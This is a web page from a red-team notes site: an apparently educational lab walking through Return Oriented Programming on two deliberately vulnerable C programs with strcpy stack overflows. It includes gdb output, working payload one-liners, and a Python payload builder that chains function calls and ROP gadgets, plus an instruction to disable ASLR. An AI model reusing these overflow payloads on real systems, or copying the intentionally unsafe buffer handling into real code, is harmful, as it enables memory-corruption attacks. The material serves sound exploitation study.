Red Team Notes
  • What is ired.team notes?
  • Pinned
    • Pentesting Cheatsheets
      • SQL Injection & XSS Playground
    • Active Directory & Kerberos Abuse
      • From Domain Admin to Enterprise Admin
      • Kerberoasting
      • Kerberos: Golden Tickets
      • Kerberos: Silver Tickets
      • AS-REP Roasting
      • Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled
      • Kerberos Unconstrained Delegation
      • Kerberos Constrained Delegation
      • Kerberos Resource-based Constrained Delegation: Computer Object Takeover
      • Domain Compromise via DC Print Server and Kerberos Delegation
      • DCShadow - Becoming a Rogue Domain Controller
      • DCSync: Dump Password Hashes from Domain Controller
      • PowerView: Active Directory Enumeration
      • Abusing Active Directory ACLs/ACEs
      • Privileged Accounts and Token Privileges
      • From DnsAdmins to SYSTEM to Domain Compromise
      • Pass the Hash with Machine$ Accounts
      • BloodHound with Kali Linux: 101
      • Backdooring AdminSDHolder for Persistence
      • Active Directory Enumeration with AD Module without RSAT or Admin Privileges
      • Enumerating AD Object Permissions with dsacls
      • Active Directory Password Spraying
      • Active Directory Lab with Hyper-V and PowerShell
      • ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate
      • From Misconfigured Certificate Template to Domain Admin
      • Shadow Credentials
      • Abusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain
  • offensive security
    • Red Team Infrastructure
      • HTTP Forwarders / Relays
      • SMTP Forwarders / Relays
      • Phishing with Modlishka Reverse HTTP Proxy
      • Automating Red Team Infrastructure with Terraform
      • Cobalt Strike 101
      • Powershell Empire 101
      • Spiderfoot 101 with Kali using Docker
    • Initial Access
      • Password Spraying Outlook Web Access: Remote Shell
      • Phishing with MS Office
        • Phishing: XLM / Macro 4.0
        • T1173: Phishing - DDE
        • T1137: Phishing - Office Macros
        • Phishing: OLE + LNK
        • Phishing: Embedded Internet Explorer
        • Phishing: .SLK Excel
        • Phishing: Replacing Embedded Video with Bogus Payload
        • Inject Macros from a Remote Dotm Template
        • Bypassing Parent Child / Ancestry Detections
        • Phishing: Embedded HTML Forms
      • Phishing with GoPhish and DigitalOcean
      • Forced Authentication
      • NetNTLMv2 hash stealing using Outlook
    • Code Execution
      • regsvr32
      • MSHTA
      • Control Panel Item
      • Executing Code as a Control Panel Item through an Exported Cplapplet Function
      • Code Execution through Control Panel Add-ins
      • CMSTP
      • InstallUtil
      • Using MSBuild to Execute Shellcode in C#
      • Forfiles Indirect Command Execution
      • Application Whitelisting Bypass with WMIC and XSL
      • Powershell Without Powershell.exe
      • Powershell Constrained Language Mode Bypass
      • Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse
      • pubprn.vbs Signed Script Code Execution
    • Code & Process Injection
      • CreateRemoteThread Shellcode Injection
      • DLL Injection
      • Reflective DLL Injection
      • Shellcode Reflective DLL Injection
      • Process Doppelganging
      • Loading and Executing Shellcode From PE Resources
      • Process Hollowing and Portable Executable Relocations
      • APC Queue Code Injection
      • Early Bird APC Queue Code Injection
      • Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
      • Shellcode Execution through Fibers
      • Shellcode Execution via CreateThreadpoolWait
      • Local Shellcode Execution without Windows APIs
      • Injecting to Remote Process via Thread Hijacking
      • SetWindowHookEx Code Injection
      • Finding Kernel32 Base and Function Addresses in Shellcode
      • Executing Shellcode with Inline Assembly in C/C++
      • Writing Custom Shellcode Encoders and Decoders
      • Backdooring PE Files with Shellcode
      • NtCreateSection + NtMapViewOfSection Code Injection
      • AddressOfEntryPoint Code Injection without VirtualAllocEx RWX
      • Module Stomping for Shellcode Injection
      • PE Injection: Executing PEs inside Remote Processes
      • API Monitoring and Hooking for Offensive Tooling
      • Windows API Hooking
      • Import Adress Table (IAT) Hooking
      • DLL Injection via a Custom .NET Garbage Collector
      • Writing and Compiling Shellcode in C
      • Injecting .NET Assembly to an Unmanaged Process
      • Binary Exploitation
        • 32-bit Stack-based Buffer Overflow
        • 64-bit Stack-based Buffer Overflow
        • Return-to-libc / ret2libc
        • ROP Chaining: Return Oriented Programming
        • SEH Based Buffer Overflow
        • Format String Bug
    • Defense Evasion
      • AV Bypass with Metasploit Templates and Custom Binaries
      • Evading Windows Defender with 1 Byte Change
      • Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions
      • Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
      • Windows API Hashing in Malware
      • Detecting Hooked Syscalls
      • Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
      • Retrieving ntdll Syscall Stubs from Disk at Run-time
      • Full DLL Unhooking with C++
      • Enumerating RWX Protected Memory Regions for Code Injection
      • Disabling Windows Event Logs by Suspending EventLog Service Threads
      • Obfuscated Powershell Invocations
      • Masquerading Processes in Userland via _PEB
      • Commandline Obfusaction
      • File Smuggling with HTML and JavaScript
      • Timestomping
      • Alternate Data Streams
      • Hidden Files
      • Encode/Decode Data with Certutil
      • Downloading Files with Certutil
      • Packed Binaries
      • Unloading Sysmon Driver
      • Bypassing IDS Signatures with Simple Reverse Shells
      • Preventing 3rd Party DLLs from Injecting into your Malware
      • ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
      • Parent Process ID (PPID) Spoofing
      • Executing C# Assemblies from Jscript and wscript with DotNetToJscript
    • Enumeration and Discovery
      • Windows Event IDs and Others for Situational Awareness
      • Enumerating COM Objects and their Methods
      • Enumerating Users without net, Services without sc and Scheduled Tasks without schtasks
      • Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging
      • Dump Global Address List (GAL) from OWA
      • Application Window Discovery
      • Account Discovery & Enumeration
      • Using COM to Enumerate Hostname, Username, Domain, Network Drives
      • Detecting Sysmon on the Victim Host
    • Privilege Escalation
      • Primary Access Token Manipulation
      • Windows NamedPipes 101 + Privilege Escalation
      • DLL Hijacking
      • WebShells
      • Image File Execution Options Injection
      • Unquoted Service Paths
      • Pass The Hash: Privilege Escalation with Invoke-WMIExec
      • Environment Variable $Path Interception
      • Weak Service Permissions
    • Credential Access & Dumping
      • Dumping Credentials from Lsass Process Memory with Mimikatz
      • Dumping Lsass Without Mimikatz
      • Dumping Lsass without Mimikatz with MiniDumpWriteDump
      • Dumping Hashes from SAM via Registry
      • Dumping SAM via esentutl.exe
      • Dumping LSA Secrets
      • Dumping and Cracking mscash - Cached Domain Credentials
      • Dumping Domain Controller Hashes Locally and Remotely
      • Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
      • Network vs Interactive Logons
      • Reading DPAPI Encrypted Secrets with Mimikatz and C++
      • Credentials in Registry
      • Password Filter
      • Forcing WDigest to Store Credentials in Plaintext
      • Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching Lsass
      • Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages
      • Pulling Web Application Passwords by Hooking HTML Input Fields
      • Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
      • Credentials Collection via CredUIPromptForCredentials
    • Lateral Movement
      • WinRM for Lateral Movement
      • WinRS for Lateral Movement
      • WMI for Lateral Movement
      • RDP Hijacking for Lateral Movement with tscon
      • Shared Webroot
      • Lateral Movement via DCOM
      • WMI + MSI Lateral Movement
      • Lateral Movement via Service Configuration Manager
      • Lateral Movement via SMB Relaying
      • WMI + NewScheduledTaskAction Lateral Movement
      • WMI + PowerShell Desired State Configuration Lateral Movement
      • Simple TCP Relaying with NetCat
      • Empire Shells with NetNLTMv2 Relaying
      • Lateral Movement with Psexec
      • From Beacon to Interactive RDP Session
      • SSH Tunnelling / Port Forwarding
      • Lateral Movement via WMI Event Subscription
      • Lateral Movement via DLL Hijacking
      • Lateral Movement over headless RDP with SharpRDP
      • Man-in-the-Browser via Chrome Extension
      • ShadowMove: Lateral Movement by Duplicating Existing Sockets
    • Persistence
      • DLL Proxying for Persistence
      • Schtask
      • Service Execution
      • Sticky Keys
      • Create Account
      • AddMonitor()
      • NetSh Helper DLL
      • Abusing Windows Managent Instrumentation
        • WMI as a Data Storage
      • Windows Logon Helper
      • Hijacking Default File Extension
      • Persisting in svchost.exe with a Service DLL
      • Modifying .lnk Shortcuts
      • Screensaver Hijack
      • Application Shimming
      • BITS Jobs
      • COM Hijacking
      • SIP & Trust Provider Hijacking
      • Hijacking Time Providers
      • Installing Root Certificate
      • Powershell Profile Persistence
      • RID Hijacking
      • Word Library Add-Ins
      • Office Templates
    • Exfiltration
      • Powershell Payload Delivery via DNS using Invoke-PowerCloud
  • reversing, forensics & misc
    • Internals
      • Configuring Kernel Debugging Environment with kdnet and WinDBG Preview
      • Compiling a Simple Kernel Driver, DbgPrint, DbgView
      • Loading Windows Kernel Driver for Debugging
      • Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver
      • Listing Open Handles and Finding Kernel Object Addresses
      • Sending Commands From Your Userland Program to Your Kernel Driver using IOCTL
      • Windows Kernel Drivers 101
      • Windows x64 Calling Convention: Stack Frame
      • Linux x64 Calling Convention: Stack Frame
      • System Service Descriptor Table - SSDT
      • Interrupt Descriptor Table - IDT
      • Token Abuse for Privilege Escalation in Kernel
      • Manipulating ActiveProcessLinks to Hide Processes in Userland
      • ETW: Event Tracing for Windows 101
      • Exploring Injected Threads
      • Parsing PE File Headers with C++
      • Instrumenting Windows APIs with Frida
      • Exploring Process Environment Block
      • Writing a Custom Bootloader
    • Cloud
      • AWS Accounts, Users, Groups, Roles, Policies
    • Neo4j
    • Dump Virtual Box Memory
    • AES Encryption Using Crypto++ .lib in Visual Studio C++
    • Reversing Password Checking Routine
Powered by GitBook
On this page
  • 1st ROP Chain
  • Vulnerable Code
  • Objective
  • Stack Layout
  • Payload
  • Exploit
  • Inspecting the Stack Layout
  • 2nd ROP Chain
  • Vulnerable Code
  • Objective
  • Stack Layout
  • ROP Gadgets
  • Payload
  • Exploit
  • Inspecting the Stack Layout
  • Useful Python
  • Little Endian Converter
  • Payload Executor
  • References
  1. offensive security
  2. Code & Process Injection
  3. Binary Exploitation

ROP Chaining: Return Oriented Programming

The purpose of this lab is to familiarize with a binary exploitation technique called Return Oriented Programming (ROP), ROP chains / ROP gadgets. The technique is used to bypass Data Execution Protection (DEP).

Don't forget to disable the ASLR for this lab to work:

echo 0 > /proc/sys/kernel/randomize_va_space

1st ROP Chain

Vulnerable Code

We wil exploit the following code in a program rop1a that is intentionally vulnerable with a classic stack-based overflow:

#include <stdio.h>
#include <string.h>

void rop1() 
{
    printf("ROP 1!\n");
}

void rop2() {
    printf("ROP 2!\n");
}

void rop3() {
    printf("ROP 3!\n");
}

void vulnerable(char* string) 
{
    char buffer[100];
    strcpy(buffer, string);
}

int main(int argc, char** argv) 
{
    vulnerable(argv[1]);
    return 0;
}

The above program starts executing at main(), which calls vulnerable() where the user supplied buffer will be copied into the variable buffer[100].

Note that there are 3 functions rop1, rop2 and rop3 that are never called during the normal program execution, but that's about to change and this is the purpose of this lab - we're going to exploit the stack-based overflow and force the program to call all those rop functions one after another.

Objective

We're going to exploit the classic stack-based overflow vulnerability in the function vulnerable in the above code to trigger the functions rop1(), rop2() and rop3() sequentially, that are otherwise not called during the vulnerable program's runtime. Additionally, after the rop3() function completes, we will make the program call the libc function exit(), so that after the exploit completes its job, the program exits gracefully rather than with a crash.

The sequence of called functions rop1() --> rop2() --> rop3() --> exit() forms a chain and this is where the term ROP chains come from.

Stack Layout

The key thing to understand with ROP chaining is the stack layout. In our case, the payload that we send to the vulnerable program needs to overflow the stack and populate it in such a way, that the exploited program calls our wanted functions in the following order:

  1. rop1()

  2. rop2()

  3. rop3()

  4. exit()

In other words, we need to ensure that the stack in our vulnerable program rop1a, when the vulnerable function completes and is about to execute the ret instruction to return to the caller function main, is organized like this:

If we think about the above graphic, we will realize that once the stack is overflowed, the following will happen when the vulnerable program continues its execution:

  1. Once rop1() completes, it will execute the ret instruction, which will pop the rop2() function address off the stack and jump to it;

  2. Once rop2() completes, it will execute the ret instruction, which will pop the rop3() function address off the stack and jump to it;

  3. Once rop3() completes, it will execute the ret instruction, which will pop the exit() function address off the stack and jump to it;

Payload

Based on the above graphic and stack understanding so far, our payload should look something like this:

payload = AAAAs... + BBBB + &rop1 + &rop2 + &rop3 + &exit

...or for easier cross-reference - using the same colours as those seen in the above stack layout diagram:

Let's find out the values we need to populate our payload with. Compile our vulnerable program rop1a:

gcc -m32 -fno-stack-protector -z execstack rop1a.c -o rop1a
gdb rop1a
b main
c

Now, let's find out addresses for our functions rop1, rop2, rop3 and exit:

gdb-peda$ p rop1
$1 = {<text variable, no debug info>} 0x565561a9 <rop1>

gdb-peda$ p rop2
$2 = {<text variable, no debug info>} 0x565561d4 <rop2>

gdb-peda$ p rop3
$3 = {<text variable, no debug info>} 0x565561ff <rop3>

gdb-peda$ p exit
$4 = {<text variable, no debug info>} 0xf7e02950 <exit>

Below shows the function addresses in gdb:

Having found the function addreses, our payload visualization can now be updated like this:

The last thing we need to know is how many AAAAs we must send in to the vulnerable program before we can take over the EIP and overwrite the return address of the vulnerable function and point it to our first ROP chain function - rop1.

Below screenshot indicates that the offset of interest is 112 (0x70), or in other words, we need to send 112 A characters to smash the stack:

See below notes for more details on how to find the offset at which we can overwrite the vulnerable function's return address:

Knowing the EIP offset, we can now now visualize the full payload like this:

Exploit

We can now construct the full payload in python and send it to our vulnerable program rop1a like this:

./rop1a "$(python -c 'print "A"*108 + "BBBB" + "\xa9\x61\x55\x56" + "\xd4\x61\x55\x56" + "\xff\x61\x55\x56" +  "\x50\x29\xe0\xf7"')"

If we execute it, we can see thatrop1, rop2 and rop3 functions are called successfully as they each call their respective printf() statements:

Note how the program did not crash with some segfault - this is because rop3 called exit upon return. To re-inforce this understanding, we will see how that came to be in the below section.

Inspecting the Stack Layout

Let's explore the stack layout of the vulnerable program rop1a when the vulnerable() function gets exploited and is about to return after it completes executing - when the CPU is about to execute the ret instruction.

Below screenshot shows the initial diagram on the left, indicating how we needed the stack to look like during the exploitation and gdb screenshots on the right, that confirm we successfully built the required stack:

From the above screenshot, note the following key points:

  1. vulnerable() function is about to execute the ret instruction at 0x56556254;

  2. ret instruction will pop the top-most value from the stack, which is a memory address of the rop1() function and jump to it, this way kicking off our ROP chain execution.

Next, once rop1() is about to return, the ret instruction will pop the top-most value from the stack, which is a memory location of rop2() and jump to it:

Once rop2() is about to return, the ret instruction will pop the top-most value from the stack, which is a memory location of rop3() and jump to it:

Once rop3() is about to return, the ret instruction will pop the top-most value from the stack, which is a memory location of exit() and jump to it:

This illustrates how we managed to build our first ROP chain by organizing the stack in such a way that forced the vulnerable program to call rop1, which upon return called rop2, which upon return called rop3, which upon return called exit:

2nd ROP Chain

Our first ROP chain called 4 functions and none of them were called with arguments. Let's build our second ROP chain that will call functions with some arguments and see how we need to build the stack this time around.

Vulnerable Code

We're going to re-use the same code, but modify it so that rop2 and rop3 functions will take 1 and 2 arguments respectively and will print them out accordingly when called:

#include <stdio.h>
#include <string.h>

void rop1() {
    printf("ROP 1!\n");
}

void rop2(int a) {
    printf("ROP 2: %x!\n", a);
}

void rop3(int a, int b) {
    printf("ROP 3: %x, %x!\n", a, b);
}

void vulnerable(char* string) {
    char buffer[100];
    strcpy(buffer, string);
}

int main(int argc, char** argv) {
    vulnerable(argv[1]);
    return 0;
}

Objective

The objective is to subvert our vulnerable program rop1b and make it call functions rop1, rop2, rop3 and exit the same way we did it with our first ROP chain, however, this time rop2 function is declared as rop2(int a) and rop3 as rop3(int a, int b), meaning we will have to somehow (hint: using stack) pass 1 argument to rop2 and 2 arguments to rop3.

Stack Layout

Below shows what the stack needs to look like this time. Annotations explain the purpose of each memory address or value on the stack:

To re-inforce, stack for our second ROP chain has the following key differences when compared to the stack of the first ROP chain:

  1. Stack contains arguments for functions rop2 and rop3;

  2. Stack contains 2 additional memory addresses, called ROP gadgets:

    1. pop ret - for popping off the arg1 argument that was passed to rop2 function and then jumping to rop3 (because ret instruction will pop the rop3 address off the stack that will be at the top once the arg1 is removed from the stack, and jump to it);

    2. pop pop ret - for popping off the 2 arguments arg1 and arg2 (hence 2 pops) that were passed to the rop3 function and then jumpt to exit (because ret instruction will pop the exit address off the top of the stack that will be there after the 2 arguments are removed).

ROP Gadgets

  • ROP gadgets are sequences of CPU instructions that are already present in the program being exploited or its loaded shared libraries and can be used to execute almost any arbitrary code;

  • ROP gagdgets most often end with the ret instruction;

  • ROP gadgets bypass the DEP (NX bit protection), since there is no executable code being injected to and executed from the stack, instead existing executable code is used to achieve the same malicious intent.

In gdb-peda, we can find addresses of the 2 gadgets that we are interested in (popret for rop2 and pop2ret for rop3) by issuing the ropgadet command:

gdb-peda$ ropgadget 
ret = 0x5655600a
popret = 0x5655601e
pop2ret = 0x5655630a
pop3ret = 0x56556309
pop4ret = 0x56556308
addesp_12 = 0x5655601b
addesp_16 = 0x565560fe

To confirm that the rop gadget does what it says it will, we can inspect the instructions for the rop gadget popret = 0x5655601e and we will see that it indeed contains 2 CPU instrutions pop ebx & ret:

Payload

Now that we know how the stack should look like, let's build the payload for our second ROP chain.

First off, let's get addresses of our rop1, rop2, rop3 and the libc exit functions:

gdb-peda$ p rop1
$4 = {<text variable, no debug info>} 0x565561b9 <rop1>
gdb-peda$ p rop2
$5 = {<text variable, no debug info>} 0x565561e4 <rop2>
gdb-peda$ p rop3
$6 = {<text variable, no debug info>} 0x56556212 <rop3>
gdb-peda$ p exit
$7 = {<text variable, no debug info>} 0xf7e02950 <exit>

Let's also note the popret and pop2ret gagdet addresses:

Since we now know how the stack needs to look like and we have addresses for our functions and ROP gadgets, we can visualize our payload like this:

Exploit

We can now translate the above visualized payload to python like so:

./rop1b "$(python -c 'print "A"*108 + "BBBB" + "\xb9\x61\x55\x56" + "\xe4\x61\x55\x56" + "\x1e\x60\x55\x56" + "\xef\xbe\xef\xbe" + "\x12\x62\x55\x56" + "\x0a\x63\x55\x56" + "\xad\xde\xad\xde" + "\xd3\xc0\xd3\xc0" + "\x50\x29\xe0\xf7" ')"

Below shows how the above payload is sent to the vulnerable program rop1b, that executes rop1, rop2 with argument 0xbeefbeef that gets printed out and rop3 with 2 arguments 0xdeaddead and 0xc0d3cod3 which too get printed and finally gracefully exits:

Inspecting the Stack Layout

Note the following key points from the above gif:

  • We're on a breakpoint inside the rop3 function, where it's about to return by executing the ret instruction;

  • At the top of the stack, there's an address of a pop2ret ROP gadget with pop edi; pop ebp; ret instructions inside a libc shared library loaded by our vulnerable program;

  • 0xdeaddead and 0xc0d3c0d3 are on the stop of the stack, just below the pop2ret address;

  • Once the ret is executed, the code jumps to the said pop2ret ROP gagdet;

  • pop2ret instructions pop edi; pop ebp execute and 0xdeaddead and 0xc0d3c0d3 are popped from the stack;

  • Address of the libc exit() function is now on top of the stack;

  • Finally, ret instruction executes, which pops the exit() address from the stack and jumps to it, completing our second ROP chain execution and gracefully closing the vulnerable program.

We could have chosen to inspect the popret gadget and we would have seen a nearly identical behaviour to the one noted above, except that popret would have popped only one value from the stack before executing the ret instruction.

Useful Python

Little Endian Converter

Below is a useful python snippet that converts a given memory address, i.e 0x565561d4, to it's little-endian format, i.e \\xd4\\x61\\x55\\x56:

import struct
'\\x' + '\\x'.join(x.encode('hex') for x in struct.pack('I', 0x565561d4)).encode("utf-8")
'\\xd4\\x61\\x55\\x56'

Payload Executor

Below shows an easy way to build the stack using struct.pack that does not require us to deal with little-endiannes when specifying memory addresses in the exploit:

#!/usr/bin/env python
import os
import struct

pop_ret = 0x5655601e
pop_pop_ret = 0x5655630a
rop1 = 0x565561b9
rop2 = 0x565561e4
rop3 = 0x56556212
exit = 0xf7e02950

# Build the stack
# Overflow
payload =  "A"*108
payload += "BBBB"

# Address of rop1()
payload += struct.pack("I", rop1)

# Address of rop2(), address of pop ret and an argument for rop2()
payload += struct.pack("I", rop2)
payload += struct.pack("I", pop_ret)
payload += struct.pack("I", 0xbeefbeef)

# Address of rop3(), adress of pop pop ret, and arguments 1 and 2
payload += struct.pack("I", rop3)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xdeaddead)
payload += struct.pack("I", 0xc0dec0de)

# Address of exit()
payload += struct.pack("I", exit)

# Execute the full payload
os.system("./rop1b '" + payload + "'")

Once the payload is constructed, we can execute it:

python payload.py

References

PreviousReturn-to-libc / ret2libcNextSEH Based Buffer Overflow

Last updated 3 years ago

The vulnerable function will return/jump to the rop1(). Note that before we overflowed the stack, this would have been a return address back to the main function, to be precise - the return 0 statement in line 26 as seen in the secion;

We will later confirm this with gdb in the section.

Start debugging it with and put a breakpoint on main() and continue execution:

To avoid repeating what we saw in the section for our first ROP chain, let's just see how the pop2ret ROP gadget works and how it affects the stack during execution, since that is the only difference worth mentioning:

gdb-peda
32-bit Stack-based Buffer Overflow
Vulnerable Code
Inspecting the Stack
Stack Layout
Introduction to return oriented programming (ROP)
https://www.ret2rop.com/2018/08/return-to-libc.htmlwww.ret2rop.com
LogoROP Like a PROMedium
LogoFuzzySecurity | ExploitDev: Part 7
Interactive Beginner's Guide to ROP -- Vetle's HackShack
LogoWhat is ROP - CTF 101
LogoTut06-1: Return-oriented Programming - CS6265: Information Security Lab
We need to make sure the overflowed stack looks like this
Payload structure visualized
Key function addresses to be used in the payload
Payload structure with ROP function addresses
EIP offset
Payload structure with correct EIP offset and ROP function addresses
1st ROP chain in action
Stack layout during vulnerable function's execution
rop1 is about to return, pop the rop2 address from the stack and jump to it
rop2 is about to return, pop the rop3 address from the stack and jump to it
rop3 is about to return, pop the exit address from the stack and jump to it
1st ROP chain in action
Required stack layout for our 2nd ROP chain
ropgadgets in rop1b vulnerable program
popret ROP gadget instructions
rop1, rop2, rop3 and exit function addresses inside rop1b vulnerable program
ROP gadget addresses for rop1b vulnerable program
Visualized payload for the 2nd ROP chain
2nd ROP chain with arguments and rop gadgets works as expected
Inspecting the stack layout
ROP chains executed successfully
Page cover image